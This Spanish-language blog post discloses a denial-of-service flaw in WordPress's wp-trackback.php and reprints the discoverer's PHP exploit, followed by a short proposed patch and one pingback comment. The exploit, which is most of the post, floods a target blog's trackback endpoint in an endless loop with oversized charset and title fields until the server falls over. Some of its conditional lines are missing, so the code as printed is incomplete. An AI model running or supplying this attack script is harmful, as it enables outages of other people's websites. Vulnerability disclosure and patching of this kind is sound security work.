jcarlosn ha descubierto una vulnerabilidad en el fichero wp-trackbacks.php de wordpress, la cual nos permitiría hacer un tipo de denegación de servicio (DoS) con unas cuantas peticiones y sin necesidad de botnets o maquinas zombies.
Como él mismo nos cuenta:
Este error, es explotable desde cualquier conexión a internet, y no requiere de ordenadores zombies, ni de nada, son sólo 20 peticiones a lo sumo, desde una línea ADSL convencional, para dejar K.O. a cualquier servidor que hospede un blog basado en wordpress.
El problema fue reportado a la seguridad en wordpress.com y no se obtuvo respuesta, luego se intentó comunicar con el creador de wordpress y al pasar un par de días, obtuvo una respuesta de que lo solucionarán en algún momento pero no de la forma que él proponia, sino que ellos mismos buscarán cómo hacerlo.
La misma persona que hizo público este bug, publicó un exploit y una posible solución.
El exploit:
-
< ?php
-
//wordpress Resource exhaustion Exploit
-
//http://rooibo.wordpress.com/
-
//security@wordpress.org contacted and get a response,
-
//but no solution available.
-
echo “You need to specify a url to attack\n”;
-
exit;
-
}
-
-
$url = $argv[1];
-
-
echo “The url should have http:// in front of it, and should be complete.\n”;
-
exit;
-
}
-
-
$path = ”;
-
} else {
-
$path = $data[‘path’];
-
}
-
$path .= ‘/wp-trackback.php’;
-
if($path{0} != ‘/’) {
-
$path = ‘/’.$path;
-
}
-
-
$b = “”;
-
$b = str_pad($b,140000,’ABCEDFG’);
-
$b = utf8_encode($b);
-
$charset = “”;
-
$charset = str_pad($charset,140000,”UTF-8,”);
-
-
$str = ‘charset=’.urlencode($charset);
-
$str .= ‘&url=www.example.com’;
-
$str .= ‘&title=’.$b;
-
$str .= ‘&blog_name=lol’;
-
$str .= ‘&excerpt=lol’;
-
-
$count = 0;
-
while(1) {
-
$fp = @fsockopen($data['host'],80);
-
if(!$fp) {
-
if($count > 0) {
-
echo “down!!!!\n”;
-
exit;
-
}
-
echo “unable to connect to: “.$data['host'].”\n”;
-
exit;
-
}
-
-
fputs($fp, “POST $path HTTP/1.1\r\n”);
-
fputs($fp, “Host: “.$data['host'].”\r\n”);
-
fputs($fp, “Content-type: application/x-www-form-urlencoded\r\n”);
-
fputs($fp, “Content-length: “.strlen($str).”\r\n”);
-
fputs($fp, “Connection: close\r\n\r\n”);
-
fputs($fp, $str.”\r\n\r\n”);
-
-
echo “hit!\n”;
-
$count++;
-
}
-
-
?>
-
La solución:
Cambiar
-
$charset = $_POST[‘charset’];
Por
-
if(is_array($charset)) { exit; }
-
en 
en 
1 respuesta hasta ahora ↓
1
// Oct 18, 2009 a las 7:49 pm
[Proof-of-Concept] Denegación de Servicio gracias al script wp-trackbacks | El rincón de Zerial
[...] par de horas atrás, publiqué un artículo luego de haber leído una publicación de jcarlosn. Me di el tiempo de realizar una prueba de [...]
Deja un Comentario